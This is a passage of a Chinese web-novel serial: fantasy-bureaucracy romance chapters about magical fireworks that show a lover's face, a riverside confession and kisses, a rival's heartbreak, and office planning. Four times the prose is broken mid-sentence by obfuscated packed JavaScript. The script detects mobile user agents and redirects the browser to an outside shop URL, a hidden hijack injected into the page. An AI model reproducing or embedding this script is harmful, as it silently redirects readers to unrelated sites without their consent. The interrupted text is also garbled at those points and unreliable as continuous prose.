司仪恰到好处的拿过话筒,为宾客们介绍起来:“……各位来宾,现在你们看到的是星雨烟花最近研发出的新品种烟花映心鉴,是老东家为他的儿子儿媳特别研发。这是一种非常神奇的烟花,它会随着人的心意变动,点燃时,烟花会映出燃放者心上人的模样……” 闻听此言,全场再次沸腾了! 窗外,得到了新郎新娘的信号,美丽的烟花已经点燃,接二连三的升上天空,辉煌的花火让今夜无比浪漫旖旎,但却依然比不上室内的氛围狂热。 听闻有这样神奇的烟花,客人哪还有心思吃婚宴?无不是蠢蠢欲动,瞄着新郎使劲,希望能获得这种神奇烟花的独家代理权! 能够映出心上人模样的烟花!这是何等的浪漫,何等的独特!如果要对恋人表白或求婚,还有比这更美的方式吗?台下的不少客商,已经勾画出了这种产品的恢弘前景,不管卖到多少钱一支,也一定能销售一空! 于是等到新郎新娘敬酒的时候,现场氛围已经从婚宴变成小型商务酒会了。无数客商都在从贺元夕嘴里刺探情报,希望知道映心鉴大约日产量能有几只,厂家希望毛利率能有多少…… 可是他们全都大失所望了,贺元夕笑着告诉大家:“映心鉴无法机器生产,它是我父亲独创的一种烟花,只能用手工方式制造。他研发了九十年,最近才成功研制出来一批,产量还不算稳定。到底以后要怎么卖,都要看他老人家的心意。” 于是客商们又一窝蜂的去找贺大有,而此时,贺大有早就已经离席了。 在星雨烟花工坊的上空,一支又一支的映心鉴冲上夜空,金娥的笑脸照亮了整个银花街。 婚宴直到很晚才结束,公共安全部的其他人陆陆续续都回去了,祝平安三人走的是最晚的,唐珊珊神神秘秘的把她拉到一边,递上了来自贺大有的礼物:三支映心鉴。 “这是爹千叮万嘱一定要给你的。”唐珊珊交代,“你一定要收下,别让我难做哦!” 如果是别的东西,祝平安一定会有所推拒,但这神奇的映心鉴意义非凡,她也就大大方方收下。转身分给温尔雅和张松鹤一人一支:“来来来,一人一份。” 她们告别了唐珊珊走出大门,此时,外面的烟花秀还没停下来,看来是要放足一夜了,一支又一支绚烂的烟火在高天绽放,美丽如幻梦。祝平安的心情无比舒畅,虽说时间已经接近凌晨,她却不想立即回家。 “我们沿着河边走回家吧?”她提议。 温尔雅自然从善如流,张松鹤也想跟上来,却被祝平安拒绝:“我们是要回家,不是回单位,你也快点回去吧,明天还上班呢。” 张松鹤却死活不肯走:“我有一些事情要跟你说。” “公事么?”祝平安摆手:“不要这么破坏气氛,明天再说不行么?” 张松鹤咬紧嘴唇,怎么,现在他们之间除了公事,就没有别的可谈了吗? 见他不吭声了,祝平安也就挥挥手,带着温尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014160|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雅走入了人潮中,渐渐远去。 他瞧见,才刚一走入人群,温尔雅就意味深长地转过头来,向他望了一眼。 那是一种胜利者的眼光,张松鹤愕然站在原地,他不会看错的。 一种恐慌忽然摄住他的心神,等到他终于反应过来,向前追去时,已是人海茫茫无处寻,纵使千百度的回首,也再找不到她的身影。 祝平安跟温尔雅沿着河岸慢慢地走着,周围人潮汹涌,烟花一个接一个的炸响,时不时有小孩子嬉闹着从他们身边跑过去,但她的心却很宁静,像是今夜河中的水波,软绵绵地泛起层层涟漪,五光十色在波心荡漾,却始终不语。 他就走在她身后,不远不近,只有那么半个手掌的距离,形影相依。她能感觉到他的气息和他无声的渴望…… 她的手指摸索着向后抓住了他的手掌,他的掌心细腻如玉,触手生香。她没有回头,只是手上稍稍用力,将他拉到了自己身侧,他顺从地跟着她的力道,走到了她身边。一股芬芳钻入她的鼻孔,几次下来,她已经发现了,这是他情动时的芳香。 在人潮中,无人在意他们,他们就这样牵着手,沉默地走啊走,直到烟花燃尽,路人也都回家去了,只剩下宁静的水波和杨柳,她才停下脚步。 “我有一件事想要和你说。” 她把自己那只映心鉴拿出来,走到河边,就想要引燃引线。她暗自期待着议会天空中会出现谁,映心鉴如果真的那么神奇的话,会不会出现温尔雅的脸呢?要是出现张松鹤可怎么办啊…… 她本就心绪起伏,手抖的要命,现在一走神,居然一不小心将那只烟花掉进了河里。 “啊!”祝平安发出绝望地惨叫,将那只烟花抢救出水,却发现烟花已经完全被打湿了,一时间只觉得又囧又可惜:“这么珍贵的烟花……” “没关系,有我这只也是一样。”温尔雅宁静的笑着,他伸手入怀,拿出了那支映心鉴。 他本来为今夜准备了一大堆话语,可映心鉴横空出世,让他的一切准备都用不上了。 他将那支烟花放到地上,引燃了引线。 下一秒,夜空焰色流转,一个短发女子的相貌闪耀在星河之中,光线在夜空中盘旋,照亮了温尔雅的脸。 他没有微笑,也没有羞涩,只是深深地、深深地凝望着她。她的身影充盈着整个夜空,也充盈着他的眼睛。 他的声音在她耳边响起,轻的像是一声叹息:“平安……从很久之前,我就想说……” “我很喜欢你。” 他紧张地等待着,良久之后,久到烟花都燃尽,她的手才抚上他的轮廓。 他看见她眼波流转,带出两分羞怯,三分笃定,五分欢喜:“我……也一样。” 无比的喜悦在他的世界炸开,即使已经有了心理准备,他在亲耳听见答案时,依然是那么……那么……六神无主…… 一年来的润物无声,步步为营,在今日忽然都有了回报,他聪明过人,事事周全,却在此刻露出一副痴呆相,她看的有趣,忍不住拥他入怀,伏在他耳边道:“尔雅,你不开心么?” 尔雅……她第一次叫他尔雅…… 他双膝一软,差点没瘫下去,祝平安一把搂住了他的腰,戏谑道:“如此,便已经腿软了么?那么,倘若我如此对你,你又当如何应对呢?” 话音一落,不给他任何反应的时间,她俯下身,吻住了他的两瓣粉唇。 早在很久之前,她就想这么做了。 90.姻缘错 他的眼睛由惊讶的大睁逐渐朦胧水润,再到陶醉地合紧。他的手也由垂在身侧,第一次大胆地扶住她的腰肢,将她紧紧箍在自己怀里。 他心中情潮涌动,不由得想要求她赐予更多,更多……但他的女王虽然大胆,却极为青涩,只是含着他的唇瓣不停轻啄,好像鸟儿在吃米,娇憨可爱,可见经验不多。 就让他来好好地侍奉她,教会她什么才是真正的亲吻吧…… 繁育也是后土大神的神职,在这个体系中,女性的地位无比崇高。阴阳和合方生万物,如何侍奉女性,让她们得到快乐,是男祭司的必修课程。 他早已学习了一身本领,却始终没有施展过,之前是没有合心意的对象,后来是没有得到她的许可,今日,怎能不让他的女王领略其中之乐? 他的手指插入她的发丝,温柔地摩挲着她,让她的身子软软地依偎过来。他张开嘴唇,伸出舌头,极其依恋地细细描摹她的唇形,引得她忍不住张开嘴唇,想要抵抗那钻心的酥痒…… 他……真的好会啊…… 祝平安的大脑已经被从未领略过的新奇快感完全占领,头晕目眩中,只能想出这么一句话。 在她曾经看过的小说里,亲吻总是凶猛的,伴随着窒息和男性强硬的侵入,霸道地扫过女性的唇齿,恨不得要咬出点血,让她很难想象那是一件有快感的事情。 但他的技巧却不是侵略性的,而是服务性的。他有无比的耐心与细致,照顾到她每一处敏感的神经,简直是撩拨着她、诱哄着她,让她忐忑又好奇地张开嘴唇,去领略他能带给她的,更强烈的快感。 感受到她的软化,他的舌尖灵巧地探入她的口腔,若有似无地在她的上颚轻柔地一扫,祝平安浑身打了个哆嗦,只觉舌根都是酸麻的,令人无法自制的抽了一口气。 他敏感地捕捉到了这个信号,卷住她的舌头温柔地一吸,引得她好像要没了魂一样,抑制不住的一声轻吟。 这感觉……这感觉……实在是…… 他简直是个老道的按摩师,拿捏着她所有的感官,只通过她的肢体反应,便懂得她现在想要他做什么。 他又有着足够的自制,无论自己想要什么,都全身心地以她的快乐为目标,她若不给他再进一步的讯号,他便严守命令,绝不轻举妄动。 这种周到的侍奉,让她虽然是被服务方,却依然掌控着全盘的节奏。 他的吻如此轻柔美丽,祝平安从不知道,唇齿间的碰撞居然能带来如此的快乐,她忍不住抓紧了他的头发,无声地命令他给予更多。 而执行她的命令,就是温尔雅的生存意义。 他托起她的下巴,舌尖辗转,加深了这个吻。 祝平安感受到他的舌头如一条灵活的小蛇,不仅往她的嘴唇里钻,还往她的心里钻。 她虽然羞涩,却仍忍不住配合着他,从他身上汲取更多、更多…… 烟花散尽,河流无声,一盏莲灯悠悠沿着河水飘荡下来,烛影莲瓣,打乱了平静的河水,将那两个交叠在一起的人影映入一片碎金。 没有人知道这个吻持续了多久,连祝平安自己都不知道。 时间、空间、过去、未来……在这种快乐前成为了没有意义的名词,宇宙中唯有她与他真实存在。 她只是在吻……用力在吻。 等她终于回过神来,温尔雅已经离开了她的嘴唇。她头晕目眩,站立不稳,整个人都被他搂在怀里,坐在柳树下。 她靠在他的胸膛上,手指紧紧揪住他前襟,喘息未定,他的手温柔地拍抚着她的背脊,嘴唇时不时地轻啄她的头发,笑的心满意足。 感受到她已经回过神来,仰起头看着他,他轻柔一笑,伏在她耳边问道:“我应对的如何?” 好……实在是太他娘的好了…… 听他这样撩人的话语,她只觉得浑没了骨头,想翻个白眼给他,又没力气。索性只是指了指自己的嘴唇:“你很好,再来一次。” 他一怔,瞧她理直气壮地对他下了命令,当真是坦诚的可爱,不禁又是低低一笑:“遵命。” 这一次,他的嘴唇甫一覆上去,就感受到了不同。她模仿着他的样子,把刚刚学来的技巧用在他身上,好像一个发现了新乐园的孩子,捧着他的脸亲吻的啧啧有声。这跟方才任他引导的样子相比,又是一重新境地。 她一向很聪明,学的很快,温尔雅全身都被她闹软了,两颊晕红,情动不能自已。不知过了多久,她才停下来,跨骑在他身上,亲昵地搂着他的脖子,额头抵着他的额头,吃吃笑道:“还来吗?” 他微微托高了她,让她看清自己的脸。 星夜下,他双眸如水,发丝凌乱地粘在脸颊上,显得肌肤如玉,晕然生光,嘴唇因刚刚的热吻已经转为靡丽的深红,美的令人惊心动魄。想到如斯绝色方才为自己神魂颠倒的样子,祝平安就是心头一热,恨不得再扑到他身上亲吻一回。 然而这一次,他躲开了。温尔雅微微侧着脸,闪过她热情的亲吻,她疑惑地看去,他低低笑着,将凌乱的长发掖到耳后,露出洁白的耳廓:“慢着,还想要的话,总得给我句话吧?” 他鼻尖抵着她的鼻尖,吐息芬芳,两瓣红唇张了又合,却始终箍着她的头不让她接近:“摸也摸了,亲也亲了,现在,我算是你的什么人?” 这、这是传说中的要名分吗! 祝平安抬眼看去,只见他星眸如醉,斜斜望来,真是比传说中的妖精还要吸引人,忍不住恨恨地啃向他的耳廓:“你说呢?每天都一块吃,一块住,现在还亲到一起去了,你说我们算什么?” 他哎呀轻叫一声,她的牙齿叼住他的耳垂,带来一丝疼痛,更多的是酥痒,激的他声音都变了调。他喘息道:“……嗯、嗯……算是情人?” “笨蛋!情人那是叫小三的!”祝平安向他科普了一下。 “那……是恋人么?”温尔雅继续貌似诚恳的发问了。 “我想想啊……”祝平安随口答道,接着就发现了他的试探之意,好笑的重重咬了一口他的耳垂:“想变成恋人?那要看你表现!” 她抬起手,对他比划高中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018618|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低三个档位:“现在呢,你就姑且算在这里吧。”她指了指中间档位。 她指着最高档位道:“如果表现的好,让我对你多加些好感度呢,就可以升一个档次,变成恋人。” 她又语带威胁:“如果表现的不好,让我跌好感度,那就下降一个档位,变成炮友!” “什么是炮友?” “就是光走肾不走心。” 明白了,就是光被吃但不负责,比男奴还悲惨的境地……温尔雅严肃地点点头:“那要怎么加好感呢?” “就还像是你之前做的那样,帮我放洗澡水,煮饭给我吃,照顾我的生活起居,要温柔听话……”祝平安扳着手指头一口气说了一大堆,“每做一件事,我就给你涨0.01的好感度吧……啊!” 温尔雅趁她不备,居然又轻轻含住了她的手指,舌头卷着她的指尖厮磨,含糊问道:“那这个呢?这个你给我涨多少好感度?” 感受着指尖的一片湿滑水润,祝平安的脸变红了:“0.05吧。” “是吗?那这个呢?”他放过她的手指,再次含住她的嘴唇,低低的笑声从交缠的唇齿间溢出来:“这个值多少分?” “……啊……加0.1,不,是0.5……1……”她被他磨得受不了,扯住他美丽的长发怒道:“好好服侍!不准恶意调戏,要不然就扣分了!”说罢,报复式地再次对他展开攻击。 “是是是……”他笑的无比开心,细密的吻像是春雨一般绵绵落在她脸上,他拥紧她的身子,暖洋洋的,好像拥抱了全世界。 张松鹤遍寻不着两人,却始终不愿回去。 他心中的恐慌越来越盛,总觉得今夜他若找不到祝平安,就会失去什么重要的东西。他在人群中慌张的跑来跑去,瞧见一个短发女子,就急忙忙地去瞧她的脸,他今夜看了四百一十二张不同的脸,却一直没有找到他所钟爱的那一个。 街上人潮逐渐散去,他却依然徘徊不去,千百度回首,却一无所获。她在哪里?她,跟那个人在一起吗? 猛然一个烟花冲上夜空,他仰头望去,愕然发现,那是祝平安的样子。她的笑脸在空中显得无比绚烂,那是……映心鉴,看方向,离他还不到五十米,就在河岸边! 该死,是温尔雅……他们一直在离他这么近的地方,他怎么就没发现呢? 张松鹤急急地向着那个方向冲去,他知道温尔雅要做什么了。 恐慌像是野火,在他心中悄然滋长,但此时,他的心里还存在着一点侥幸,她会答应么?不,她之前信誓旦旦,说她跟温尔雅毫无关系……他知道,她心里喜欢的是自己! 她曾经抓住自己的袖子,像是抓住救命稻草一样安心;她受了委屈时,只在自己面前落泪;她的身子曾经那么火热地贴着自己……这一切,温尔雅都有么?即使他现在跟平安说了什么,平安也绝不会答应他的! 近了,近了,几十米的距离对他来说只不过是短短一霎,他不敢去看,又忍不住要去看,绝望已经开始笼罩他,可是他仍不愿放弃那万分之一的侥幸。 91.自食苦果 在无边烟火下,他来到了河岸边,他看见了他们,他们却没有看见他。 她拥着温尔雅,两个人影已经并成了一个,他们的唇齿热烈的交缠。他就在离他们不到十米的地方,他几乎可以看见她脸上的睫毛都因迷醉而颤抖着…… 但没有人注意他,他们眼中只有彼此。 幻梦破碎,审判降下:你已经出局了,现在,温尔雅才是她选择的那个。 这是什么时候发生的事情?什!么!时!候! 就是这半年的事情啊。 恍惚有一个声音在他耳边冷酷的响起,甚至带一点嘲讽地笑意:这不就是你要的吗?你故意避开她,给她冷脸,不就是期望这个结果吗? 现在,你已经不再是她心中那个特别的人。 她把她的热烈、她的温柔、她的关注给了另一个人,一个始终对她温柔体贴的男人,像只缱绻的鸟儿,在她身边形影不离,孜孜不倦地对着她高唱恋曲,日复一日,永不停止。 那么美丽,那么温柔,那么体贴……谁能抵挡的了呢?在他的冷淡映衬之下,她选择了另一个男人,那不是天经地义的吗? 早在半年前,他就已经自愿放弃了被她青睐的资格,她不是围着他张松鹤转的洋娃娃,她有她自己的人生,自己的好恶……他,和她对他的好感,一切都是过去式了。 他是多么自大,多么可笑……他凭什么认为,她会在原地一直等着他?只需要他道个歉,哄一哄,就会当做一切都没发生? 前缘如流水,君心如流水,昼夜不停,奔流而去,不知不觉,已是沧海桑田,换了人间。 现在的一切,谁都不怨,只怨他自己。 世间一切,有因有果,现在,他的报应来了。 他慢慢地退后、退后、脚步轻盈,唯恐惊动了那对有情人。自己酿的苦果,他要找一个没人的角落自己吞下,她已经做出了自己的选择,他能做的,就是不要打扰她。 一道剑光腾起,他揉身而上,像是逃命一般像着远方奔去,再不回头。烟花落下,星斗辉映,他一路向东,剑气划破青云,在夜空留下一道分明的裂痕,恍如不为人知的伤口。 他从没有飞的这么快,这么急过,不一时,他已经离开陆地,来到东溟。蓬莱仙岛上玉宇剔透,琼花纷飞,明月之下,波光之中,鲸鲵鱼跃出水,鲸歌响彻天地间。 他曾经想过带她过来,幻想着在这里对她说出自己的心意。他们将会并肩看琼花如雪,听鲸歌泛夜,也许,也会有拥抱,有亲吻。 但现在,此处空无一人,唯有他自己。 他抬手,掏出照心鉴,点燃引线。 火星摇曳着飞向天空,分裂变幻,化成一张可爱的脸。流光飞舞,祝平安的面容倒映在星辰与大海之间,明晃晃地昭示着他的心意。 可是,她看不见。 他御剑冲上天空,妄图离她更近一点,可是烟花燃起的时间有限,他慢了一步,就一步。他眼睁睁的看着,她的面容逐渐消散,先是头发,然后是眼睛、鼻子、嘴唇…… 她变成了一个破碎的梦,一场如雨的火星,从高天之上坠下,带着热意的余烬缠绵地落在他身上,先是微微的暖意,后是深沉的灼痛。 起初,他以为是她在坠落,后来,他发现是自己在坠落。无数的余烬向着他追逐而来,他随着这火雨坠落。 他也曾是这云端上的人,他俯瞰着苍穹大地,俯瞰着芸芸众生,一花一木。他欣赏他们,也愿意守护它们……一朵花被人折下,飘落尘埃,他亦觉得可惜,但他并不愤怒。 他会惩罚那个辣手摧花者,但他从没有真正的为那朵花的逝去而心痛,因为,那时他并没有情。 所以他也就从不知道,情能激起什么样的愤怒,又能给人以什么样的力量。 直到……遇见她。 当看见她被荧惑星君打的口吐鲜血时的样子,他才第一次明白,为什么这个世界上不应该存在罪孽。 因为,罪孽会伤害人的所爱。 而这世上的男女老少,芸芸众生,都跟她一样,是某个人的倾心所爱。 所以,他的使命,就是抹除所有的罪孽,守护众生,守护所爱。 这一切,都是她教会他的。 因为她,他才开始真正的爱上了这个世界。 他不再是一个无情者了,通过她,他开始懂得了五音、五色、五味,照见了这人世间的求不得、爱别离、五阴炽盛。爱恨情仇对他来说不再是一个轻飘飘的名词,而是实实在在的,烧灼着他身躯的隐痛。 他从云端下坠、下坠、跌入情天恨海,跌入滚滚红尘。十丈软红从他身边划过,他用力握紧,却捉不住。 只有下坠,只有沉沦。 他想,他开始明白,什么是情了。 情就如这今夜的烟花,只有一瞬光华,随之而来的是永恒的黑暗、寂静、孤独。 可明知是如此,他却依然想要抓住那一瞬的光热,将她的模样铭刻在心底,随后心甘情愿的品尝无边的寂寞。 噗通一声,他落入深深的海底,黑沉沉的海水里,无数透明的气泡上涌,他一直下沉,直到再也沉不下去,才悄然上浮,直到哗啦一声,破开海面。 头上明月依旧高悬,但他与明月都知道,一切都不一样了。 温尔雅与祝平安一路厮缠,回到家时已经是天光大亮,两人却谁都不想去睡。他们就这样头并着头,在客厅里坐着,说着,笑着,直到祝平安倚在温尔雅的胸口上倦极而眠,却依然紧紧抓着他的前襟,不肯放开。 他从没感觉到这么幸福,这么满足。她压在他胸口的那个黑洞上,挡住了从那里漏出来的冷风,世界变得明丽而温暖,只要有她在,只要她还愿意贴近她…… 他轻轻地拨开她的额发,在她额头上落下一个吻,也合上眼睛。 晚安。 当祝平安醒来的时候,她已经从温尔雅胸口滑落到枕在他大腿上,他还没醒,睡的婴儿一样。祝平安继续贴在他的身上,享受着这宁静的一刻。 接下来该怎么办呢?办公室地下情她没搞过,何况她也不是个能够掩饰自己的性格,只怕没两天就要露馅。 不过,真要把温尔雅调部门,她也舍不得。到哪里找这么好用的下属啊?行政事务一把抓,她工作那么久了,甚至自己都没写过一篇讲稿。现在她说是副部长,实际上那些文山会海都是温尔雅替她担了,他真走了,她根本玩不转。 尤其是这两个月的地狱周历练下来,她发现不要说自己离不开他,整个部门也压根离不开他。真要是为了跟他恋爱方便就把他调走,那对工作也不负责啊。 算了算了,兵来将挡水来土掩,想这么多也没用,了不起上班的时候就少跟他说话,现在他们住在一起,想要亲近的话不是有的是时间嘛! 她这么想着,便又忍不住对他伸出魔爪,这脸上的皮肤可真好啊!怎么一个毛孔都没有呢? 他被她摸得痒痒的,睁开了眼睛,却没有躲开,反而依恋地蹭了蹭她的手臂:“醒了?” 他看了看时间,离上班还早得很,足够吃顿早饭的,遂决定亲自下厨:“你想吃什么?” 祝平安表示啥都可以,最终他端上来的是一盘子心形曲奇,中间填着深红的蔓越莓果酱,光看这一份食物,便觉得心形泡泡都快溢出来了。 看他冒了一会泡泡,祝平安这才想起来跟温尔雅说正事:“上班的时候, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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温尔雅这下可犯难了,他努力想了想,便道:“那你要不戴帽子上班吧,这样能把你的脸遮住一半,兴许不那么容易露馅。” 于是,两人又拐到街上买了顶棒球帽,扣在祝平安脑袋上,这才满意地向着单位出发了。 然而一到了单位,他们就发现,其实帽子是白买了。 祝平安一到单位,杜元就带着她去查看她的新办公地点。作为已经完全走马上任的副部长,她继承了徐副部长的独立办公室。 位于走廊最深处,离同事们很远的,有大门有门锁的私人办公室。 作为办公室的标配,她的办公桌旁边,还有一张略小一点的办公位,这个位子一般是给秘书用的。由于祝平安现在的正式职司是公共安全部副部长,负责特别行动组工作,遂这张办公桌现在完全可以作为温尔雅的工位。 也就是说,只要把大门一关,两个人在屋里干啥都不会被发现啦! 办公室地下情,那是在同事们的眼皮子底下眉来眼去,小心翼翼不露出来才叫地下情,他们这直接都变成密室情了,要是这样还能被同事们发现,祝平安自己都要怀疑自己的智商了。 现在她唯一担心的,就是会不会被张松鹤发现了。他跟她们俩相处的时间更长,若是两人稍微露出一丝不对,肯定会被发现的! 抱着这种担心,祝平安今天是戴着帽子去开早会的,还想过要不要跟温尔雅分开坐。还是温尔雅说那样过于此地无银三百两,她才打消了念头。再三提醒自己一定要装做若无其事, 祝平安这才出去开会了。 她落了座,多少还是有些心虚地看着张松鹤,他今天看上去有些不精神,眼窝深陷,胡茬子都出来了,整个人的气质再不像是宝剑一样锋利,而是加了许多沉郁的味道,好像一夜间换了个人一样。 见她落座,他眼睛扫过来,在她脸上停留一下,又很快的转开了目光。 她是不是出现幻觉了?她怎么好像,在他的眼睛里看到了一丝……悲凉? 应该确实是幻觉,很快,张松鹤就开始如常般主持会议,看来是没发现什么异常。她也就很快忘记了那个小插曲,全心投入到工作之中。 92.如何提质增效 日常早会没什么可说的,也就是说了下马上要放新年假,有人员请假要尽快报备之类的话,等到早会开完,张松鹤特意将他们俩留下来,看那神色,就知道现在他要说的才是重头戏。 “今年的预算确实涨了50%,说来我还要谢谢你们。”张松鹤的口吻非常郑重,但温尔雅敏感地发现,他一眼也没看自己,只是看着祝平安,“之前我就想要推行一些小改变,无奈预算不够,所以直到今天才能提上日程。” “那你的想法到底是什么呢?”祝平安表示好奇。 “我打算推广传真鼎。” 张松鹤开口就扔下来一个重磅大炸弹,祝平安一时间惊讶地有点抽冷气了:“推广传真鼎?不是说那玩意儿贵得要死吗?” 也不怪她说出这句话,在通讯基本靠传口信的地府,能够互发信息的传真鼎就好像微信出现在了1970年,属于一种战略资源。除了差役,外人花钱都买不到! 当年他们去救灾,还是预备役差役呢,也就是一支队伍一个,救灾结束还都还回去了。 现在?推广传真鼎?有那么多钱吗?不对,就算有钱,这得打通多少关节才行啊? 她谨慎问道:“你说推广,是推广到什么程度?不会是人手一个吧?” 见张松鹤点了点头,她心里简直马景涛咆哮了:“……是不是太激进了一点?钱的问题……不太现实吧。” 身为公共安全部的副部长,她也知道本部门到底有多少钱,即使别说上涨50%,就是上涨5000%都满足不了张松鹤的宏愿。 “钱的问题先不用考虑,我们可以先试点。”张松鹤说的轻描淡写,祝平安和温尔雅一对眼神,都在对方眼里看出了同一个意思:今天张松鹤是怎么啦?怎么胡言乱语的,一点都不像他了! 钱的问题不考虑,先试点?试点是为了推广的,要是方案成本降不下来,试点一辈子也就是试点了,一点价值都没有! 沉吟片刻,还是祝平安先开口了:“我认为此事不妥。” “给百姓们推广传真鼎,是为了让百姓与差役的联系增加,这很好,但通讯成本始终是个问题。”她实事求是的道,“况且传真鼎到了人家手里,我们就没办法监管了,万一他们拿去倒买倒卖怎么办?” 这确实是个麻烦,温尔雅也道:“确实,且百姓们可不是差役,能做到无事不扰。他们若得知有渠道可以直接跟差役通话,只怕我们的传真鼎每天接收垃圾信息都接不过来,反而耽误正事。” 张松鹤何尝不知这件事还有许多不成熟的地方,只是他昨日见了祝平安与温尔雅亲昵的样子,心浮气躁,现在一心只想在工作上做出点成绩来,来转移自己的注意力,故而才提出了这种议案。 见两名下属都反对,所说句句有理,他也只得洗耳恭听:“既然你们觉得这个方案不行,那还有其他的高见吗?关于提升行政效率的?” “要么咱们多招几个人,每个街区安插一个哨点,让大家需要找人的时候立刻就能找到?”温尔雅先出了个主意。 张松鹤摇了摇头:“你这个是理论上可行,但不解决根本问题。通讯成本还是没有下降,要是能让大家找人方便,方圆五百米就得有一个差役,我们岂不是要多养几万人?哪来这么多招人的名额呢?” “用机器来提高效率,思路还是没错的,只是传真鼎的成本太高。”祝平安沉吟着:“要么还是给每个居民配发一个电铃吧,遇到什么问题,他只要一摇响铃铛,治安所就能知道。” 张松鹤依然摇头:“这个主意更烂。他那个增加人力的方案,起码还能知道群众到底想让我们解决什么事情,你只用个电铃,能传递什么消息?到时候一堆铃铛一块响,连事情的轻重缓急都不知道,先去处理谁的事情好?” 祝平安也觉得自己的主意有点烂了,皱着眉沉吟不语。温尔雅出言为她缓颊:“方案可以慢慢来嘛,这种大动作,也不可能立刻有十全十美的方案。” 张松鹤长叹一声:“也是,不过方案最好要快,过完新年,预算就要到账了,在此之前,我们必须拿出个章程来。” 一场会议就这样虎头蛇尾的结束了,祝平安跟温尔雅出了门,回身关门时,却见张松鹤还呆呆地坐在椅子上,双眉紧锁不知道在想什么。她不禁奇怪起来:“你说他这是怎么啦?今天看起来一副心不在焉的样子,魂儿好像都飞走了。” 温尔雅对张松鹤的变化却是心知肚明。昨夜,他回头望去,只一眼就看出了张松鹤也想要跟他做同样的事情。可惜,他想通的太晚了,即使昨夜他真的追了上来,平安也不会要他的。 今天他一坐下,就从张松鹤的神色里看出来,他已经什么都知道了。现在的张松鹤只怕正承受着被所爱抛弃的打击,难怪他一副垂头丧气相。 张松鹤越丧气,温尔雅就越开心。这个一直以来隐隐威胁着他的男人,现在已经一败涂地。当然,他永远不会让平安知道张松鹤在想什么的。 于是,他瞧四下无人,弯下身子,伏在她耳边轻轻道:“你只知道他失魂落魄,可见对他关注不少嘛?” 不等她回答,他便已迅雷不及掩耳之势轻轻吻了一下她的耳朵:“还是我服侍的不好,让你还有多余的心思想东想西?” 祝平安耳畔一阵酥痒,听着他略带醋意的埋怨,满心都被他的可爱之处盈满了。正想跟他好好交流一下“我心里都有谁”这个命题,忽然见到走廊上有几名治安组的同事略过,连忙站直身子,绷紧了脸装正经。 温尔雅显些没笑出来,她的装正经其实就是堆出一脸汇报工作时候的假笑,由于过于紧张还有点同手同脚的,别人一看就知道她有心事! 好在治安组的几个同事也有自己的事情,一边讨论着案情一边就过去了,只是对着祝平安点个头而已,这才没暴露出什么异样。 他们一走,祝平安就松了口气,愤愤望了他一眼:“公共场合恶意调戏,扣一分!” 接下来,公共安全部的同事们就有幸观赏了祝副部长和温副组长在走廊上的追逐大戏。祝副部长一马当先走得飞快,温副组长在他身后一路小跑的跟着,急切问道:“真的吗?真的要扣吗?” 靠近年尾,大家都知道领导们正在商讨来年预算的事情,看来即使是预算上涨了,部里的资金还是紧巴巴的啊!看,领导们为了是否要扣除部分资金,争论的多激烈呀,下了会还在讨论不休呢! 同事们敬畏地看着领导们回了自己的办公室,还关上了门,便知道他们肯定在谈论什么关于预算的绝密事宜,他们怎会知道,办公室内,温尔雅正在使出浑身解数,争取把刚刚扣掉的一分加回来。 祝平安结束这个绵长的亲吻,犹自愤愤:“这位同志,请你注意影响!办公时间,禁止发生作风问题!” “真的吗?真的吗?”温尔雅将她圈在怀里撒娇:“那要是已经发生了点什么,怎么办呀?” 祝平安差一点就再次为男色所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030322|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迷,那还记得张松鹤现在是疯还是癫?二人压低了声音,小小嬉闹了一番,这才回到办公桌前谈正经事。 然而讨论来讨论去,始终都像是些不着边际的东西,祝平安托着下巴:“这始终是个生产力的问题啊,地府没有真正的通讯网络,不知道传真鼎的原理到底是什么?能不能从它的原理出发,弄出个功能差不多的低配版?” 这个温尔雅倒是知道一点,便向祝平安科普起来。 传真鼎能够实现通信功能的核心配件,其实是传真鼎内的“玉符”。玉符的材质是真正的昆仑玉,能够储藏大量信息,配合玉上刻画的有传递功能的符文,便能实现信息的传输。 而传真鼎之所以这么稀缺昂贵,就是因为昆仑玉的储量是有限的,任谁也不敢放开了用,至于符文倒是不稀奇。 按照祝平安的理解,传真鼎就是一个大型的局域网。每块玉符都是一个节点,由于都是昆仑玉,所以他们之间天然就有互相感应,至于符文,起到的是定向作用,能够实现信息点对点传输。 大家写下的文字,通过传真鼎焚烧后化为信息,被储藏进昆仑玉中,接着被符文传输出去,这就是传真鼎的原理了。 